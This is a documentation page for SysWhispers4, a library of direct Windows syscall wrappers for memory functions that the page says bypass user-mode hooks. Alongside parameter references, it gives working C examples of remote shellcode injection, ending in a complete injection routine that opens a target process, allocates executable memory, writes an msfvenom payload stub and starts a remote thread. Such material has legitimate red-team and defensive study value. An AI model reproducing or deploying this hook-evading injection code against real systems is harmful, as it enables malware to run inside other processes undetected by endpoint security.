Memory Functions

Overview

SysWhispers4 provides direct syscall wrappers for Windows NT memory management functions. These bypass user-mode hooks on kernel32.dll and ntdll.dll functions like VirtualAllocEx, WriteProcessMemory, etc.

NtAllocateVirtualMemory

Allocates virtual memory within a process.

NTSTATUS SW4_NtAllocateVirtualMemory(
    HANDLE  ProcessHandle,
    PVOID   *BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T RegionSize,
    ULONG   AllocationType,
    ULONG   Protect
);

Parameters

HANDLE

required

Handle to the target process. Use GetCurrentProcess() for local allocation, or a handle from SW4_NtOpenProcess() for remote allocation.

PVOID*

required

Pointer to a variable that receives the base address of the allocated region. Set to NULL to let the system choose the address.

ULONG_PTR

required

Number of high-order address bits that must be zero. Use 0 for no restriction.

PSIZE_T

required

Pointer to the size (in bytes) of the region to allocate. Rounded up to page boundary. On success, receives the actual allocated size.

ULONG

required

Type of allocation. Common values:

MEM_COMMIT (0x1000) — Commit pages
MEM_RESERVE (0x2000) — Reserve address space
MEM_COMMIT | MEM_RESERVE (0x3000) — Allocate and commit

ULONG

required

Memory protection. Common values:

PAGE_READONLY (0x02)
PAGE_READWRITE (0x04)
PAGE_EXECUTE (0x10)
PAGE_EXECUTE_READ (0x20)
PAGE_EXECUTE_READWRITE (0x40)

Returns

STATUS_SUCCESS (0x00000000) on success
STATUS_ACCESS_DENIED (0xC0000022) if process handle lacks access
STATUS_INVALID_PARAMETER (0xC000000D) for invalid parameters

Example

#include "SW4Syscalls.h"

int main(void) {
    SW4_Initialize();

    PVOID base = NULL;
    SIZE_T size = 0x1000;  // 4KB

    NTSTATUS status = SW4_NtAllocateVirtualMemory(
        GetCurrentProcess(),   // Local process
        &base,                 // System chooses address
        0,                     // No zero-bit restriction
        &size,                 // 4KB (will be page-aligned)
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE
    );

    if (NT_SUCCESS(status)) {
        printf("[+] Allocated 0x%llx bytes at %p\n", (ULONG64)size, base);
        // Use memory...

        // Free when done
        size = 0;
        SW4_NtFreeVirtualMemory(GetCurrentProcess(), &base, &size, MEM_RELEASE);
    }

    return 0;
}

NtAllocateVirtualMemoryEx

Extended version of NtAllocateVirtualMemory with additional parameters (Windows 10+).

NTSTATUS SW4_NtAllocateVirtualMemoryEx(
    HANDLE  ProcessHandle,
    PVOID   *BaseAddress,
    PSIZE_T RegionSize,
    ULONG   AllocationType,
    ULONG   PageProtection,
    PVOID   ExtendedParameters,
    ULONG   ExtendedParameterCount
);

Parameters

Similar to NtAllocateVirtualMemory, with added support for extended parameters (e.g., NUMA node affinity).

PVOID

Pointer to array of MEM_EXTENDED_PARAMETER structures (or NULL).

ULONG

Number of extended parameters (use 0 if none).

NtFreeVirtualMemory

Frees virtual memory allocated by NtAllocateVirtualMemory.

NTSTATUS SW4_NtFreeVirtualMemory(
    HANDLE  ProcessHandle,
    PVOID   *BaseAddress,
    PSIZE_T RegionSize,
    ULONG   FreeType
);

Parameters

HANDLE

required

Handle to the process.

PVOID*

required

Pointer to the base address to free.

PSIZE_T

required

Pointer to size. For MEM_RELEASE, must be 0. For MEM_DECOMMIT, specifies size.

ULONG

required

MEM_DECOMMIT (0x4000) — Decommit pages (keep reservation)
MEM_RELEASE (0x8000) — Release entire region

Example

// Free allocated memory
PVOID base = allocatedAddress;
SIZE_T size = 0;  // Must be 0 for MEM_RELEASE

NTSTATUS status = SW4_NtFreeVirtualMemory(
    GetCurrentProcess(),
    &base,
    &size,
    MEM_RELEASE
);

NtWriteVirtualMemory

Writes data to virtual memory in a process.

NTSTATUS SW4_NtWriteVirtualMemory(
    HANDLE  ProcessHandle,
    PVOID   BaseAddress,
    PVOID   Buffer,
    SIZE_T  NumberOfBytesToWrite,
    PSIZE_T NumberOfBytesWritten
);

Parameters

HANDLE

required

Handle to the target process with PROCESS_VM_WRITE access.

PVOID

required

Starting address in the target process where data will be written.

PVOID

required

Pointer to the data to write.

SIZE_T

required

Number of bytes to write.

PSIZE_T

Optional pointer to receive the actual number of bytes written. Can be NULL.

Example: Remote Shellcode Injection

#include "SW4Syscalls.h"

int main(void) {
    SW4_Initialize();

    DWORD targetPid = 1234;
    unsigned char shellcode[] = { 0x90, 0x90, 0xC3 };  // nop; nop; ret

    // Open target process
    HANDLE hProcess = NULL;
    OBJECT_ATTRIBUTES oa = { sizeof(oa) };
    CLIENT_ID cid = { (HANDLE)(ULONG_PTR)targetPid, NULL };

    NTSTATUS status = SW4_NtOpenProcess(
        &hProcess, PROCESS_ALL_ACCESS, &oa, &cid
    );
    if (!NT_SUCCESS(status)) return 1;

    // Allocate memory
    PVOID remoteBase = NULL;
    SIZE_T size = sizeof(shellcode);
    status = SW4_NtAllocateVirtualMemory(
        hProcess, &remoteBase, 0, &size,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
    );
    if (!NT_SUCCESS(status)) {
        SW4_NtClose(hProcess);
        return 1;
    }

    // Write shellcode
    SIZE_T written = 0;
    status = SW4_NtWriteVirtualMemory(
        hProcess,
        remoteBase,
        shellcode,
        sizeof(shellcode),
        &written
    );

    if (NT_SUCCESS(status)) {
        printf("[+] Wrote %llu bytes to %p\n", (ULONG64)written, remoteBase);
    }

    SW4_NtClose(hProcess);
    return 0;
}

NtReadVirtualMemory

Reads data from virtual memory in a process.

NTSTATUS SW4_NtReadVirtualMemory(
    HANDLE  ProcessHandle,
    PVOID   BaseAddress,
    PVOID   Buffer,
    SIZE_T  NumberOfBytesToRead,
    PSIZE_T NumberOfBytesRead
);

Parameters

HANDLE

required

Handle with PROCESS_VM_READ access.

PVOID

required

Starting address to read from.

PVOID

required

Pointer to buffer that receives the data.

SIZE_T

required

Number of bytes to read.

PSIZE_T

Optional pointer to receive actual bytes read. Can be NULL.

Example

HANDLE hProcess = ...;
PVOID remoteAddress = (PVOID)0x12345678;
unsigned char buffer[256];

NTSTATUS status = SW4_NtReadVirtualMemory(
    hProcess,
    remoteAddress,
    buffer,
    sizeof(buffer),
    NULL
);

if (NT_SUCCESS(status)) {
    // Process buffer contents...
}

NtProtectVirtualMemory

Changes memory protection on a region.

NTSTATUS SW4_NtProtectVirtualMemory(
    HANDLE  ProcessHandle,
    PVOID   *BaseAddress,
    PSIZE_T RegionSize,
    ULONG   NewProtect,
    PULONG  OldProtect
);

Parameters

HANDLE

required

Handle with PROCESS_VM_OPERATION access.

PVOID*

required

Pointer to base address of the region.

PSIZE_T

required

Pointer to size of the region.

ULONG

required

New protection value (e.g., PAGE_EXECUTE_READ).

PULONG

required

Pointer to variable that receives the previous protection value.

Example: RWX → RX After Write

// Allocate as RWX
PVOID base = NULL;
SIZE_T size = 0x1000;
SW4_NtAllocateVirtualMemory(
    GetCurrentProcess(), &base, 0, &size,
    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
);

// Write shellcode
SW4_NtWriteVirtualMemory(
    GetCurrentProcess(), base, shellcode, shellcodeSize, NULL
);

// Change to RX (good practice)
ULONG oldProtect;
SW4_NtProtectVirtualMemory(
    GetCurrentProcess(),
    &base,
    &size,
    PAGE_EXECUTE_READ,
    &oldProtect
);

NtQueryVirtualMemory

Retrieves information about a memory region.

NTSTATUS SW4_NtQueryVirtualMemory(
    HANDLE ProcessHandle,
    PVOID  BaseAddress,
    MEMORY_INFORMATION_CLASS MemoryInformationClass,
    PVOID  MemoryInformation,
    SIZE_T MemoryInformationLength,
    PSIZE_T ReturnLength
);

Parameters

MEMORY_INFORMATION_CLASS

required

Type of information:

MemoryBasicInformation (0) — Returns MEMORY_BASIC_INFORMATION

PVOID

required

Pointer to buffer that receives information.

SIZE_T

required

Size of the buffer.

Example

MEMORY_BASIC_INFORMATION mbi;
NTSTATUS status = SW4_NtQueryVirtualMemory(
    GetCurrentProcess(),
    someAddress,
    MemoryBasicInformation,
    &mbi,
    sizeof(mbi),
    NULL
);

if (NT_SUCCESS(status)) {
    printf("Base: %p, Size: 0x%llx, Protect: 0x%lx\n",
        mbi.BaseAddress, (ULONG64)mbi.RegionSize, mbi.Protect);
}

NtSetInformationVirtualMemory

Sets virtual memory information (Windows 10+).

NTSTATUS SW4_NtSetInformationVirtualMemory(
    HANDLE    ProcessHandle,
    ULONG     VmInformationClass,
    ULONG_PTR NumberOfEntries,
    PVOID     VirtualAddresses,
    PVOID     VmInformation,
    ULONG     VmInformationLength
);

Use Cases

Prefetch memory — VmPrefetchInformation
Set page priority — Performance optimization

Complete Injection Example

Combining memory functions for classic remote injection:

#include <stdio.h>
#include "SW4Syscalls.h"

static const unsigned char shellcode[] = {
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
    // ... (msfvenom payload)
};

int main(void) {
    if (!SW4_Initialize()) {
        fprintf(stderr, "[!] SW4_Initialize failed\n");
        return 1;
    }

    DWORD targetPid = 1234;

    // 1. Open process
    HANDLE hProcess = NULL;
    OBJECT_ATTRIBUTES oa = { sizeof(oa) };
    CLIENT_ID cid = { (HANDLE)(ULONG_PTR)targetPid, NULL };
    NTSTATUS status = SW4_NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &oa, &cid);
    if (!NT_SUCCESS(status)) return 1;

    // 2. Allocate memory
    PVOID base = NULL;
    SIZE_T size = sizeof(shellcode);
    status = SW4_NtAllocateVirtualMemory(
        hProcess, &base, 0, &size,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
    );
    if (!NT_SUCCESS(status)) {
        SW4_NtClose(hProcess);
        return 1;
    }

    // 3. Write shellcode
    SW4_NtWriteVirtualMemory(hProcess, base, (PVOID)shellcode, sizeof(shellcode), NULL);

    // 4. Change to RX
    ULONG oldProt;
    SW4_NtProtectVirtualMemory(hProcess, &base, &size, PAGE_EXECUTE_READ, &oldProt);

    // 5. Create remote thread
    HANDLE hThread = NULL;
    status = SW4_NtCreateThreadEx(
        &hThread, THREAD_ALL_ACCESS, NULL, hProcess,
        base, NULL, 0, 0, 0, 0, NULL
    );

    if (NT_SUCCESS(status)) {
        printf("[+] Remote thread created\n");
        SW4_NtWaitForSingleObject(hThread, FALSE, NULL);
        SW4_NtClose(hThread);
    }

    SW4_NtClose(hProcess);
    return 0;
}

Generated API

Function Categories

Overview

NtAllocateVirtualMemory

Parameters

Returns

Example

NtAllocateVirtualMemoryEx

Parameters

NtFreeVirtualMemory

Parameters

Example

NtWriteVirtualMemory

Parameters

Example: Remote Shellcode Injection

NtReadVirtualMemory

Parameters

Example

NtProtectVirtualMemory

Parameters

Example: RWX → RX After Write

NtQueryVirtualMemory

Parameters

Example

NtSetInformationVirtualMemory

Use Cases

Complete Injection Example

Next Steps

Process & Thread Functions

File Functions

​Overview

​NtAllocateVirtualMemory

​Parameters

​Returns

​Example

​NtAllocateVirtualMemoryEx

​Parameters

​NtFreeVirtualMemory

​Parameters

​Example

​NtWriteVirtualMemory

​Parameters

​Example: Remote Shellcode Injection

​NtReadVirtualMemory

​Parameters

​Example

​NtProtectVirtualMemory

​Parameters

​Example: RWX → RX After Write

​NtQueryVirtualMemory

​Parameters

​Example

​NtSetInformationVirtualMemory

​Use Cases

​Complete Injection Example

​Next Steps

Process & Thread Functions

File Functions

Overview

NtAllocateVirtualMemory

Parameters

Returns

Example

NtAllocateVirtualMemoryEx

Parameters

NtFreeVirtualMemory

Parameters

Example

NtWriteVirtualMemory

Parameters

Example: Remote Shellcode Injection

NtReadVirtualMemory

Parameters

Example

NtProtectVirtualMemory

Parameters

Example: RWX → RX After Write

NtQueryVirtualMemory

Parameters

Example

NtSetInformationVirtualMemory

Use Cases

Complete Injection Example

Next Steps